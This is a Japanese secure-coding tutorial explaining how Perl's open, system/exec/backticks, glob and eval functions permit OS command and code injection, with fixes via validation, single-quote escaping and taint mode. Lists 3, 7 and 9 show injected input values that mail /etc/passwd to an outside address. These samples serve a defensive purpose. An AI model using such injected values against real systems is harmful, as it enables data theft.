# ［4-2.］ Perl の危険な関数

**Perlには他のプログラムを起動したり，文字列で与えられた式を実行時に解釈実行する機能を持つ関数が用意されている。こうした関数に与える引数は，十分に吟味しないと，悪用されて意図しないコマンドを実行させられる。**

● ● ●

## Perl の危険な関数

Perlには外部プログラムとの連携機能が複数組み込まれている。Perlは連携機能を実現するため内部的にUnixシェルを起動する(注1)。そのため連携機能をユーザ入力データなどの外部から与えられるデータと組み合わせて使用する場合，外部からシェルコマンドを混入され実行されてしまう可能性がある。次の関数はこのような問題につながる注意すべき関数や構文である。

・open
・system, exec, ``(backticks)
・<>(fileglob)，glob

C言語などのコンパイル系言語と異なりPerlはスクリプト系言語である。Perlは実行時にプログラムを解釈して実行する。eval関数を使うと，実行時にPerlプログラムを生成してそのプログラムを実行させるといったことも可能だ。eval関数をユーザ入力データなどの外部から与えられるデータと組み合わせて使用する場合，外部から Perl プログラムを混入されて実行されてしまう可能性がある。

・eval

これら関数や構文の詳細についてはお手元のシステムの“ man perlfunc ”，“ man perlop ”，“ man perlopentut ”を参照していただきたい（man はUnix/Linux システムでオンラインマニュアルを呼び出すためのコマンド）。以降ではこれらの関数や構文について注意すべき点を解説していく。

（**注１**・ Windows プラットフォームでは CMD.EXE などで代用される）

## open

open 関数は Perl 初心者までも知っているとても馴染みある関数だ。にも関わらず気をつけて使わないと危険な関数となりえる。open関数は引数として与えるファイルパスの表記に応じてオープン動作が変化する。**リスト１**にファイルパス表記とオープン動作の関係をまとめた。8行目，9行目のパイプ文字を使ったファイルパスにより，外部プログラムを起動することができる。

open 関数については関連記事『4-1. ファイルオープン時のパスにご用心』に詳細をまとめてあるので，そちらも参照していただきたい。

### リスト１　open 関数のファイルパス表記とオープン動作

```
1  open(FILE, "filepath")      ファイルを読み込み用でオープン，ファイルが存在しなければエラー
2  open(FILE, "<filepath")                    上に同じ
3  open(FILE, ">filepath")     ファイルを上書き用でオープン，ファイルが存在しなければ作成
4  open(FILE, ">>filepath")    ファイルを追加用でオープン，ファイルが存在しなければ作成
5  open(FILE, "+<filepath")    ファイルを読み書き用でオープン，ファイルが存在しなければエラー
6  open(FILE, "+>filepath")    ファイルを読み書き用でオープン，ファイルが存在しなければ作成
7  open(FILE, "+>>filepath")   ファイルを読み追加用でオープン，ファイルが存在しなければ作成
8  open(FILE, "|progpath")     外部プログラムを起動し，プログラムへの標準入力をオープン
9  open(FILE, "progpath|")     外部プログラムを起動し，プログラムの標準出力をオープン
```

## system, exec, ``(backticks)

system 関数，exec 関数，``(backticks)構文によって Unix シェルを直接呼び出すことができる（注2）。**リスト２**に system 関数の簡単な使用例を示す。変数 $mailaddr にメールアドレスを入れておくと，date コマンドの結果がメールで $mailaddr 宛てに届けられる。

### リスト２　system 関数の使用例

```
1  system("date | sendmail $mailaddr");
```

しかし変数$mailaddrにWebの入力フォームなどから**リスト３**のようなメールアドレスが与えられたら危険である。任意のコマンドをターゲットホスト上で実行されてしまう。**リスト３**の例ではパスワードファイルの内容が盗まれてしまう。

### リスト３　リスト２へコマンドを混入

```
   もし $mailaddr が "foo@bar.com; sendmail foo@bar.com < /etc/passwd" であると
                                  ↓
1  system("date | sendmail foo@bar.com; sendmail foo@bar.com < /etc/passwd");
                                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

このように入力パラメタなどにシェルコマンドなどを混入させターゲットホスト上で実行させてしまう攻撃を「ダイレクト OS コマンドインジェクション攻撃」と呼ぶ（インジェクションとは混入の意）。この攻撃手法については参考文献『Direct OS Command Injection』に詳しい。

exec 関数も ``(backticks)構文も system 関数と同様に，コマンド混入の危険性がある。

（**注２**・Windowsプラットフォームでは，Perlの個別の実装により異なるが，CMD.EXEでシェルの代用が行われる場合と Win32 API の CreateProcess( )により直接コマンドが起動される場合がある。）

## <>(fileglob)，glob

<>(fileglob)構文や glob 関数はあまり知られていないが，ちょっと便利な機能で**リスト４**のような使い方をする。**リスト４**はシェル上からperlコマンドを直接実行してプログラムを入力し，実行させた例である。2行目の</usr/include/st*.h>の部分に注目していただきたい。これはシェルのワイルドカードと同じ方法でファイル名のリストを作成し返す関数である。/usr/include/ディレクトリ下のst*.hにマッチするすべてのファイル名を

配列変数@filesに入れる，という動作となる。3～5行目で@filesに取得したファイル名を表示している。実際に実行してみたところ7～13行目に表示されているとおり，/usr/include/st*.hにマッチするファイル名が一覧表示されている。ワイルドカードはシェルと同様，*だけでなく?も使用できる。

### リスト4　<>(fileglob)の使い方

```
 1  $ perl
 2  @files = </usr/include/st*.h>;   ←<*> マッチするファイル名のリストを取得
 3  foreach(@files) {
 4    print "$_\n";                  ←@files の各要素（ファイル名）を表示
 5  }
 6                                   ←[CTRL+D]キー入力により実行開始
 7  /usr/include/stab.h
 8  /usr/include/stdint.h
 9  /usr/include/stdio.h             ←"/usr/include/st*.h" にマッチする
10  /usr/include/stdlib.h            ←ファイル名が一覧表示される
11  /usr/include/string.h
12  /usr/include/strings.h
13  /usr/include/stropts.h
14  $
```

glob関数は<>構文が内部的に呼び出している関数である。glob関数は<>構文とまったく同じ機能を持つ。**リスト4**の2行目は**リスト5**のように書いても等価である。以下の説明における<>構文の説明は，すべてglob関数にも当てはまる。

### リスト5　glob関数の使い方

```
1  @files = glob("/usr/include/st*.h");
```

<>構文の応用例として，/usr/includeディレクトリ下にあるファイルのサーチプログラムを**リスト6**に示す。$search変数に"net*.h"という検索条件文字列を渡すことにより，これにマッチしたファイル名がすべて配列変数@filesに入る。もしPerlに<>構文がなければ，opendir関数，readdir関数などでループを回すなどの処理を自作しなければならない。<>構文は多数のファイルを対象に処理するようなプログラムで重宝する。

### リスト6　<>構文を使用したヘッダファイルサーチ

```
1  @files = </usr/include/$search>;     ←ヘッダファイルサーチ
```

便利な<>構文，glob関数であるが，実は内部的にシェルを呼び出している。そのため**リスト7**の1行目のような文字列を渡した場合，パスワードファイルの内容をメールで送信できてしまう。

### リスト7　<>構文へのコマンドの混入

```
   もし $search が 'net*.h; sendmail foo@bar.com < /etc/passwd' であると
                                ↓
1  @files = </usr/include/net*.h; sendmail foo@bar.com < /etc/passwd>;
                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
```

このように<>構文，glob関数にもコマンド混入の危険性がある。

## eval

eval関数はスクリプト系言語特有の機能である。引数として与える文字列をPerlプログラムとして解釈し，その場で実行する。運用中にプログラム停止や改造はできないが，新しいデータタイプが追加されていくようなアプリケーションの場合にeval関数が使用されることがある。プログラムはデータを処理するとき，新しいデータタイプに応じたPerlプログラム文をデータベースから取り出し，eval関数でそのPerlプログラム文を実行させる。これにより新規のデータタイプを導入する場合でも，Perlプログラム文をデータベースに登録するだけで済む。運用中のプログラムを停止させ改造する必要はない。

Perlのeval関数はもう一つ別の用途に用いられる。Unixのシンボリックリンクを扱うsymlink関数を呼び出すと，symlink関数をサポートしていないシステムではPerlプログラムが強制終了してしまう。また$c=$a/$b;のような除算式で$b=0;の場合，ゼロ除算例外によりPerlプログラムが終了してしまう。こういった処理で，プログラムを終了させたくない場合にeval関数が使える。eval関数で実行させるPerlプログラム内で異常が発生した場合，プログラムが異常終了するのではなく，単にeval関数から処理が戻りプログラムが続行する。eval関数で実行させたプログラムで異常が発生したかどうかは変数$@で判断できる。変数$@には異常が発生した原因を示すエラーメッセージ文字列が格納される。異常が発生せず正常に終了した場合にはnull文字列が格納される。

**リスト８**はeval関数を使用したサンプルプログラムである。ゼロ除算でもプログラムを異常終了させないプログラム例である。1行目で実行させたい除算プログラム文を文字列変数$expにセットしている。2行目でこの変数$expをPerlプログラムとして解釈実行するようeval関数に渡している。eval関数に実行させているPerlプログラム内で異常が発生しても，プログラムは異常終了しない。4行目のif文で変数$@をチェックして異常時と正常時の処理を振り分けている。

### リスト８　eval関数を利用したPerlプログラムの異常終了回避

```
1  $exp = '$c = $a/$b;';          ←$a と $b には数値を入れておく
2  eval($exp);                    ←$c=$a/$b;を実行したことになる
3
4  if($@) {                       ←eval関数が異常終了したとき $@ にエラーメッセージが入る
5    # 異常時（ゼロ除算）の処理      eval関数が正常終了したとき $@ は null 文字列である
6  } else {
7    # 正常時の処理
8  }
```

とても便利なeval関数ではあるが，Perlプログラム文を混入され実行されてしまう危険性がある。**リスト８**のプログラムでは，変数$aや$bに外部からの入力データが入る場合が危険である。**リスト９**は**リスト８**の変数$bにコマンドを混入され，パスワードファイルの内容が盗まれてしまう例である。

### リスト９　リスト８へコマンドを混入

```
   もし $a が 1，$b が '1; system("sendmail foo@bar.com < /etc/passwd");' であると
                                  ↓
1  $exp = '$c = 1/1; system("sendmail foo@bar.com < /etc/passwd");'
2  eval($exp);
```

# ファイルパス，コマンド文字列，プログラム文の組み立てを慎重に

これまで紹介した関数はファイルパスやコマンド文字列，プログラム文を引数として受け取る。これらの引数がプログラム中で固定文字列であれば，プログラマが意図した動作となる。しかしユーザ入力値などの外部から与えられたデータを使って，ファイルパスやコマンド文字列，プログラム文を組み立てた場合は，外部からコマンドやプログラム文を混入され実行されてしまう危険性が生じる。プログラマが意図したファイルパスやコマンド文字列，プログラム文が確実に組み立てられなければならない。外部から与えられたデータによって，コマンドやプログラムが混入され意図しない動作が生じてはならない。

以降では基本的な対策要領を紹介する。対象とするアプリケーションによりその対策内容の詳細は異なるので，ここでは基本的な指針を説明する。

## バリデーションを徹底しよう

外部から与えられる入力データがプログラマの期待しているデータであることを確認すべきである。入力データの確認漏れはセキュリティホールを作り出す最大の要因である。**リスト２**の例では$mailaddr変数は正規形式のメールアドレスであることを仕様として明確に決め，その仕様に合致しているかどうかを検査すべきである。

入力値が仕様に合致していることを確認する処理をバリデーション（Validation）と呼ぶ。インターネット上にはバリデーションのために作られたライブラリが公開されている。参考文献『Validator 1.2』(PHP 言語で書かれたバリデーションライブラリ）などを参考にして，バリデーションを組み込むとよい。また厳密にバリデーションを行いたい場合は RFC などの規格に基づいてもよいだろう。関連記事『9-2. 入力値チェックの手法』も参照していただきたい。

## 埋め込むデータはシングルクオートでくくろう

前節で説明したバリデーションによる確認を経て，外部から与えられたデータはコマンド文字列やプログラム文へ埋め込まれる。埋め込みの際にはデータをシングルクオートでくくるべきである。シェルコマンドや Perl プログラムの構文では文字列定数をシングルクオートでくくって表現するからだ。

**リスト10**は**リスト２**を改良したものだ。1行目のvalidate_email()関数は自作のバリデーション関数で，正規形式のメールアドレスである場合に真を返す(という想定である。validate_email()関数そのもののリストは省略している)。2行目では組み立てるコマンド文字列に$mailaddrをシングルクオートでくくって埋め込んでいる。シングルクオートでくくることにより，埋め込むメールアドレス文字列が確実に「データとしてのみ扱われる」ように保護することができる。たとえコマンド文字列が含まれていたとしても，そのようなデータとして扱われるだけで，コマンドとして実行されることはなくなる。

### リスト 10　シングルクオートでくくろう

```
1  if (&validate_email($mailaddr)) {          ←$mailaddr のバリデーション処理
2      system("date | sendmail '$mailaddr'"); ←$mailaddr をシングルクオートでくくる
3  }
```

しかし**リスト10**では抜け道があり不十分である。メールアドレスにシングルクオート文字「'」が含まれていると，くくって保護している範囲がそこで終了してしまう。**リスト 11** はこの点を考慮して**リスト 10** を改良

したものである。2行目のシングルクオート文字「'」を「' " ' " '」へ置換する処理が追加されている。シェルの文法では，シングルクオートはダブルクォート囲むことによってエスケープする（特別な意味を持たなくする）必要があるからである。2行目の追加により，$mailaddrに含まれるあらゆる文字がデータとしてのみ扱われるようになる。

**リスト 11　埋め込みデータのシングルクオートを "..." で囲む**

```
1  if (&validate_email($mailaddr)) {          ← $mailaddr のバリデーション処理
2      $mailaddr =~ s/'/'"'"'/g;              ←シングルクオートのみ "..." で囲むようにする
3      system("date | sendmail '$mailaddr'"); ← $mailaddr をシングルクオートでくくる
4  }
```

## Taint モードを使おう

Perl にはセキュリティのための言語機能が搭載されている。Taint モードである。外部から与えられたデータを追跡する仕組みである。Taint モードを使用することにより，外部から与えられたデータが本記事で紹介したような危険な関数へそのまま渡されることを阻止できる。Taint モードについては関連記事『4-4. Perl の Taint モード（汚染検出モード）』を参照していただきたい。

## まとめ

Perl の外部プログラム連携機能や実行時プログラム解釈機能は，外部から与えられるデータとともに使用すると，コマンドやプログラムを混入され実行されてしまう危険性がある。外部から与えられたデータはまずデータのバリデーションを行い，意図するデータであることを確認しよう。さらにコマンド文字列やプログラム文へデータを埋め込むときには，シングルクオートでくくって単なるデータとして扱われるようにしよう。また Perl のセキュリティ言語機能である Taint モードも活用すると更によいだろう。

## 関連記事

『4-1. ファイルオープン時のパスにご用心』

『4-3. Perl の Taint モード（汚染検出モード）』

『9-2. 入力値チェックの手法』

## 参考文献

“man perlfunc”，“man perlop”，“man perlopentut”
（Unix/Linux システムのオンラインマニュアル）

『Validator 1.2』（英文），The WebMasters Net
http://www.thewebmasters.net/php/Validator.phtml

『Direct OS Command Injection』（英文），Open Web Application Security Project
http://www.owasp.org/projects/asac/iv-dosinjection.shtml